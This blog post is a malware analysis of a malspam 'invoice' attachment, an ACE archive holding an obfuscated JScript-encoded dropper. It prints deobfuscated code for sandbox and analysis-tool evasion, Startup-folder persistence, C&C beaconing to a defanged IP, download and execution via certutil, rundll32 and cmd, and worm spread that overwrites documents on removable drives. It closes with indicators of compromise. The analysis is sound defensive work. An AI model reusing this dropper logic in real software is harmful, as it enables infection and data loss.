1/ source email
I was sitting in front of my PC playing SoulCalibur. An IRC window popped up, with one of my friend saying:"Hey, you should check this strange email I've received. I don't know what's in it, I'm not a customer of this company".
The mail was a classical email with the text: "you got an invoice, please check and pay" (sort of). The
attachment was 1&1.pdf.facture.rar (facture means invoice in french).
I quickly tell him that it was highly suspicious, that he must trash this mail, and I dig into it.
2/ Analysis
2/1/ First analysis
The file seems to have some interesting anti-sandbox techniques. Sandboxes are equipment placed in front of email server, dedicated to malware analysis. Your mail is sent through those big boxes, email attachments are extracted, unzipped, then sent to a windows VM in order to analyze what this file willdo to the computer. Thoses boxes are mainly linux boxes, which is a point to keep in mind.
The 1&1.pdf.facture.rar file has some interesting characteristics:
mitsurugi@dojo:~/chall/infected/kukushka$ file 1\&1.pdf.facture.rar 1&1.pdf.facture.rar: ACE archive data version 20, from Win/32, version 20 to extract, contains AV-String (unregistered), with recovery record, solid mitsurugi@dojo:~/chall/infected/kukushka$ # So it's an "ace" file mitsurugi@dojo:~/chall/infected/kukushka$ mv 1\&1.pdf.facture.rar suspicious.ace mitsurugi@dojo:~/chall/infected/kukushka$ ls -l suspicious.ace -rw-r--r-- 1 mitsurugi mitsurugi 102481 oct. 23 15:58 suspicious.ace mitsurugi@dojo:~/chall/infected/kukushka$ unace l suspicious.ace UNACE v1.2 public version Processing archive: suspicious.ace Authenticity Verification: created on 10.10.2017 by *UNREGISTERED VERSION* Date |Time |Packed |Size |Ratio|File 0| 0| 100%| 0 files mitsurugi@dojo:~/chall/infected/kukushka$
This file contains ... nothing (?) It's obviously a false positive. My best guess is that the spammer wants to confuse sandboxes. If you don't have any file to analyze, sandbox couldn't tell if the file is infected :)
But one question remains, why the name of the file ends in .rar and not .ace? The .ace extension is not widely used under windows. Renaming it .rar can extends the availibilty of the spam campaign,
and yes, winrar under windows extracts the file too.
This is a really nice anti-sandbox trick :)
As you can guess, there is indeed something:
mitsurugi@dojo:~/chall/infected/kukushka$ strings suspicious.ace | head -5 **ACE** *UNREGISTERED VERSION* 1&1.pdf.facture.jse, *M4D ?p}q mitsurugi@dojo:~/chall/infected/kukushka$
You have to boot a windows machine, download winace (or winrar) and unzip the file. Warning, a misclick could infect your machine.
Once extracted, you can see that the file is a .jse (javascript encoded file):
mitsurugi@dojo:~/chall/infected/kukushka/take2$ hexdump -C suspicious.jse | head 00000000 23 40 7e 5e 52 43 49 47 41 41 3d 3d 56 21 33 3b |#@~^RCIGAA==V!3;| 00000010 6b 74 30 6c 6b 09 59 4b 31 59 7b 24 7b 47 2b 7e |kt0lk.YK1Y{${G+~| 00000020 71 54 4f 54 69 30 3b 33 21 2f 74 30 43 32 6c 31 |qTOTi0;3!/t0C2l1| 00000030 33 6d 6f 6e 2c 71 4f 7b 24 7b 2c 52 53 2a 5a 25 |3mon,qO{${,RS*Z%| 00000040 44 49 30 45 33 3b 64 34 33 43 68 4b 3b 5e 4e 30 |DI0E3;d43ChK;^N0| 00000050 44 27 5d 76 76 79 7e 57 71 54 70 7f 6e 44 7f 59 |D']vvy~WqTp.nD.Y| 00000060 78 6a 44 44 6b 09 4c 24 72 2d 36 2b 7f 77 36 46 |xjDDk.L$r-6+.w6F| 00000070 20 27 36 7f 73 77 61 2b 66 77 36 57 66 2d 58 76 | '6.swa+fw6Wf-Xv| 00000080 30 77 58 76 46 77 61 46 20 77 36 57 66 27 36 7f |0wXvFwaF w6Wf'6.| 00000090 77 2d 58 76 63 27 36 2b 58 4a 59 69 57 45 09 6d |w-Xvc'6+XJYiWE.m| mitsurugi@dojo:~/chall/infected/kukushka/take2$
This file can be extracted to a plain .js file thanks to a decoder:
https://gist.github.com/bcse/1834878
We have a long file, 400kb long without any carriage return.
mitsurugi@dojo:~/chall/infected/kukushka/take2$ wc suspicious.jse 0 8881 402013 suspicious.jse mitsurugi@dojo:~/chall/infected/kukushka/take2$
2/2/ desobfuscating js file
The file can be beautified with a site like jsbeautifier.org, and we can see that it's obfuscated:kukushkainto9t = [776, 109]; kukushkapackage91t = [798, 508]; kukushkawould8t = [662, 41]; Weret = String["\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"]; function Pesen(a) { return a.length; }; kukushkahelp13t = [885, 31]; kukushkabecome59t = [389, 210]; kukushkaonly52t = [570, 520]; kukushkaTeaching44t = [63, 64]; kukushkacome84t = [563, 237]; kukushkaknow23t = [83, 120]; kukushkaknowledge24t = [689, 726]; kukushkaacquired16t = [291, 172]; kukushkalifeNurturing10t = [695, 606]; kukushkateacher32t = [171, 621]; kukushkabooksDIRECTORDirectorate89t = [156, 498]; kukushkayes17t = [230, 612]; var kukushkaface35t = 0.708; var kukushkasoft34 = this[(function hkai_7hk9() { kukushkaregards76t = 'Lake10'; kukushkahave12t = 'about76'; return Weret(64 ^ Pesen(arguments)); })('holes94', 'that46', 'wife5', 'picking16', 'What99') + (..400kB long like this...)
to automatize things. Find obfuscation patterns, remove them and iterate.
Main steps are:
a) renaming utf8 vars to ascii:
var\ u0073\ u0063\ u0072\ u0031\ u0070\ u0061\ u0074\ u0068 = kukushkavocabulary3to30[(function hkae_5hkaT4() {
This can be done automatically:
var scr1path = kukushakvaocabulary3to30
b) calculating Weret, pesen and easy functions:
Weret is the function "fromCharCode"
Weret = String["\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"]; function Pesen(a) { return a.length; }; (function hkai_7hk9() { kukushkaregards76t = 'Lake10'; kukushkahave12t = 'about76'; return Weret(64 ^ Pesen(arguments)); })('holes94', 'that46', 'wife5', 'picking16', 'What99')
the first two vars are useless, the end is just length of arguments xored with a constant. In the end, this is fromCharCode(64 XOR 5) = 'E'
This structure comes really often, we can automatize it with regexp, extraction evaluation of js code and replacement.
c) Evaluating long vars
and we have a lot of var name and expression splitted in pieces:
var kukushkatoto42 = "E" + "r" + "r" + and so on..
This is not really hard to deobfuscate, just take times. It can be automatized.
d) repeat
We repeat all those simplifications with some python scripts.
e) simplification
Here is the stripped down version of the .js file
mitsurugi@dojo:~/chall/infected/kukushka/take2$ wc *js 9947 49021 630068 simplified0.js 9947 47780 621653 simplified1.js 5584 26049 328812 simplified2.js 3186 14345 185647 simplified3.js 3081 13770 178223 simplified4.js 3034 13566 176057 simplified5.js 1331 6580 96156 simplified6.js 457 3089 28791 simplified7.js 457 2286 25936 simplified8.js 435 2175 24069 simplified9.js 322 1854 21089 simplified9-manual0.js 286 1127 15156 simplified9-manual1.js 307 1113 14922 simplified9-manual2.js 280 1032 14040 simplified9-manual3.js mitsurugi@dojo:~/chall/infected/kukushka/take2$
2/3/ cleaned up and disarmed
For reference, You can see in git a disarmed version of the js file. This js file doesn't do any harm. All risky things are commented out. There is also a zip file with every steps. (pass: infected, warning, this is malware)3/ Program analysis
You can see the program as a big while(true) loop:-Checks the location of .jse file
-While true loop
Get process list, OS and username
Check for some well known analysis tools (and exit if yes)
Copy itself to startup folder
-While true loop
Connect to C&C
Get file
If WORM_MODE, then replace all file in removable drives byt iself
Exec file downloaded previously
3/1/ startup
At start, the jse file checks if it was launched from the Start Menu\Programs\Startup\ folder and if it has the name adobe_upd.jse.In any case, it throws a fake error message then continue (all comments are mine).
/* [+] JSEFILE is C:\Users\mitsurugi\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\adobe_upd.jse */ try { if (scr1path != JSEFILE) { objFile = FSObject["OpenTextFile"](scr1path, 1, false, 0); mybodyhere = objFile["ReadLine"](); objFile["Close"](); FILENAMEisBAD = true; if (SHOW_ERROR) ObjectWscriptShell["Popup"]("scr1path is not JSEFILE!!", 10, "Error", 16); if (FSObject["FileExists"](JSEFILE)) { /* In case user launch another time the file by double clicking on it?*/ this.WScript["Quit"](1); } } else {} } catch (WSdrFgyvb) { ObjectWscriptShell["Popup"]("A File Error has Occurred", 5, "Error", 16); }
It makes the a huge iteration:
while (16) { /* While True */ gokolp0 = "low"; /* gokolp0 is never used elsewhere */ Counter = Counter + 1; if (Counter == 2040000) { /* all malware code */ } }
Once again, it can be seen as an antidebug techniques. Some sandbox and antivirus checks the
file for a specific time. To avoid "Sleep()" function, they often hook the sleep's to
accelerate time. With a loop like this, there nothing you can hook to accelerate time.
3/2/ Get a lot of information from victim
The script uses wmi to grab all of information needed:var obj00WMI = this.GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2"); var ProcessList = new this.Enumerator(obj00WMI["ExecQuery"]("Select * from Win32_Process")); var Win32OSList = new this.Enumerator(obj00WMI["ExecQuery"]("Select * from Win32_OperatingSystem")); It checks this list for exitingi (option9 == -1) (comments are my own): if (ProcessPathAndName["indexOf"]("Procmon") != option9 || ProcessPathAndName["indexOf"]("Wireshark") != option9 || ProcessPathAndName["indexOf"]("Temp\\iexplore.exe") != option9 || ProcessPathAndName["indexOf"]("ProcessHacker") != option9 || ProcessPathAndName["indexOf"]("vmtoolsd") != option9 || ProcessPathAndName["indexOf"]("VBoxService") != option9 || ProcessPathAndName["indexOf"]("python") != option9 || ProcessPathAndName["indexOf"]("Proxifier.exe") != option9 || ProcessPathAndName["indexOf"]("Johnson") != option9 || ProcessPathAndName["indexOf"]("ImmunityDebugger.exe") != option9 || ProcessPathAndName["indexOf"]("lordPE.exe") != option9 || ProcessPathAndName["indexOf"]("ctfmon.exe*JOHN-PC") != option9 || ProcessPathAndName["indexOf"]("BehaviorDumper") != option9 || ProcessPathAndName["indexOf"]("antivirus.EXE") != option9 || /* ??? antivirus.EXE?? */ ProcessPathAndName["indexOf"]("AgentSimulator.exe") != option9 || ProcessPathAndName["indexOf"]("VzService.exe") != option9 || ProcessPathAndName["indexOf"]("VBoxTray.exe") != option9 || ProcessPathAndName["indexOf"]("VmRemoteGuest") != option9 || ProcessPathAndName["indexOf"]("SystemIT|admin") != option9 || ProcessPathAndName["indexOf"]("WIN7-TRAPS") != option9 || ProcessPathAndName["indexOf"]("Emily\\AppData") != option9) /*Who's Emily? */ { reader["alert"]("Screw you guys, Im going home!!!!"); /* "reader" (?) seems undefined */ this.WScript["quit"](1); }
As you can guess, all of those process path and name are related to analyis environments
3/3/ Calling C&C
The C&C has the real address. It's obfuscated for the blogposturl_ppp = "hxxps://185[.]159.82[.]50:9500/XA/mijagi.php?netuid=bugaga&add=2097d7b063d6f8b5cc803abf3df758aa"; url_ppp = url_ppp + "&u=" + Math["abs"](kukushkaships15) + "&o=" + kukushkatouches96 + "&v=" + icount + "&s=1994"; msxmlXMLHTTP["open"]("POST", url_ppp, false); if (FILENAMEisBAD) { /* At first, Filename is bad because it is not in startup folder So we sent our name and list of processes */ msxmlXMLHTTP["send"](ProcessPathAndName); } else { /* This is the part when the jse is in the autostart folder */ msxmlXMLHTTP["send"](); }
- The netuid and add parameter are hardcoded.
- The kukushkaships15 depends of the length of the path of the jse file.
- The o parameter depends of many things (0 at first, can be 9999, 45, 46, 47, or 9)
- The v parameter is 10 or 20
- The s parameter is Random
The interesting part is that it sends all of your data (Process list, OS version and name) to the C&C at the first loop iteration. Maybe the botmaster tracks stats of its emailing?
The feedback from the C&C is given through an HTTP-Header (!)
if (msxmlXMLHTTP["status"] == 200) { if (kukushkatouches96 == 0) { try { if (msxmlXMLHTTP["getResponseHeader"]("you_god_damn_right") == '0') { file1path = JSEFILE; option9 = 0; /* discriminate based on the response */ } } catch (WSdrFgyvb) {} try { if (msxmlXMLHTTP["getResponseHeader"]("you_god_damn_right") == ("1")) { option9 = 1; /* Guess it's the exe */ } } catch (WSdrFgyvb) {} try { if (msxmlXMLHTTP["getResponseHeader"]("you_god_damn_right") == ("2")) { option9 = 2; /* Or the text to be passed to certutil */ } } catch (WSdrFgyvb) {} try { if (msxmlXMLHTTP["getResponseHeader"]("Content-Transfer-Encoding") == "binary") { ADODBStream["Open"](); ADODBStream["Type"] = 1; ADODBStream["Write"](msxmlXMLHTTP["responseBody"]); ADODBStream["Position"] = 0; ADODBStream["SaveToFile"](file1path, 2); /*file1path rnd name.exe */ ADODBStream["Close"](); } else { if (CCresponseText.length > 10); objFile = FSObject["CreateTextFile"](TEMPFOLDER_file_mtm, true, false); /*mtm file */ objFile["WriteLine"](CCresponseText); objFile["Close"](); this.WScript["Sleep"](5000); shellApp["ShellExecute"]("certutil", "-f -decode" + TEMPFOLDER_file.mtm + ("") + charq + file1path + charq, '', "open", 0); } }
We understand that server can send either a binary file (.exe) or a base64 one.
3/3/ Wormisation
This file has wormable capabilities. It search for any removable drives, and duplicate its .jse contents to any file ending invar FileExtTargets ="*.doc*.xls*.pdf*.rtf*.txt*.pub*.odt*.ods*.odp*.odm*.odc*.odb*.wps*.xlk*.ppt*.mdb*.accdb*.pst*.dwg*.dxf*.dxg*.wpd";
The file content is wiped, replaced by the jse content, and file extension is replaced by .jse.
This is not really a stealthy way to propagate, but it can works.
3/4/ Code execution
Finally, the .jse tries to launches the exe file.option9 is given by the server header.
switch (option9) { case -1: shellApp["ShellExecute"]("cmd", "/c start " + file1path, '', "open", exit123); kukushkatouches96 = 45; break; case 0: shellApp["ShellExecute"]("cmd", "/c start " + file1path, '', "open", exit123); kukushkatouches96 = 46; break; case 1: shellApp["ShellExecute"]("rundll32", charq + file1path + charq + " secretFunction", '', "open", exit123); kukushkatouches96 = 47; break; case 2: shellApp["ShellExecute"]("taskkill", "/f /t /im chrome.exe", '', "open", 0);\ shellApp["ShellExecute"](file1path, "/silent /install", '', "runas", 1); kukushkatouches96 = 48; break; }
So, the downloaded file seems to be a plain exe, a dll and an installer which must kill Chrome
before installing (?)
3/5/ Fun stuff
As usual in worms/malware, you can find funny strings:reader["alert"]("Screw you guys, Im going home!!!!");
It can be a reference to South Park
When server sends data, there is an header:
if (msxmlXMLHTTP["getResponseHeader"]("you_god_damn_right") == ("2")) {
and the wormable part uses a temp filename called "saymyname"
It seems we have a fan of breaking bad here.
The obfuscation makes an heavy use of kukushka to prefix variable names. kukushka means cuckoo in russian. Don't know what to conclude here.
4/ Get the files
I've used my disarmed file to get the files, but didn't succeeded. At the time of writing this blog, the server doesn't respond anymore, so the campaign is finished I guess.As this file makes a lot of antidebug techniques, I don't think you can easily get the files. All parameters depends on something, you have strict timers. Maybe server part checks everything and sends only file to specific targets. I used my disarmed js file instead of making some wget for those reason.
In Virustotal, you have the first occurence of the file the 10 of October, the viral detection beguns the 13:
https://www.virustotal.com/#/file/e5fcb6e3ecbd08e18445d04edb84384eadff13cd01e91b737fcc2f0fb1b4d10d/detection (suspicious.ace file)
https://www.virustotal.com/#/file/224ad333eb3b27056b968c453ad007aa5a4a613730da767937c7c2511bf2b84f/detection (suspicious jse file)
https://www.virustotal.com/#/ip-address/185.159.82.50
This one is interesting because someone tries to analyze https://185[.]159.82[.]50:9500/DA/mijagi.php?netuid=bugaga which is only a part of the requests made to the C&C. May be someone deobfuscating the .jse and who doesn't saw that there is more in parameteres
5/ IOCs
It seems pretty useless to block the IP.Strangely, the header name you_god_damn_right seems more reliable. You can find other occurence of it in the googleweb:
https://community.spiceworks.com/topic/1954953-file-ext-changed-to-jse (go to the end of the post)
Date: Sep 2 2017
https://www.hybrid-analysis.com/sample/9157e7ed6aa77da3575cbbc32e3c2c5fd7074e9ffe326b96b0cbefa897f8c581?environmentId=100
Date: August 2017
http://ddecode.com/hexdecoder/?results=bed2e8df3925d8712bb1d2ba55cb9063
(no date)
https://securite.intrinsec.com/2017/05/16/exercice-de-desobfuscation-dun-jse-par-le-cert-intrinsec/ (in french) in may 2107.
So, if you have an appliance in your network making SSL analysis, you could check if some HTTP servers sends an header 'you_god_damn_right' and block it. It can helps you without any risk of false positive.
Note that you can unpack ACE 2.0 format archives using Debian's unace_nonfree package or the unace utility included in the Python 3 acefile package from PyPI.
RépondreSupprimerIt works with unace-nonfree, thanks for the tip.
RépondreSupprimer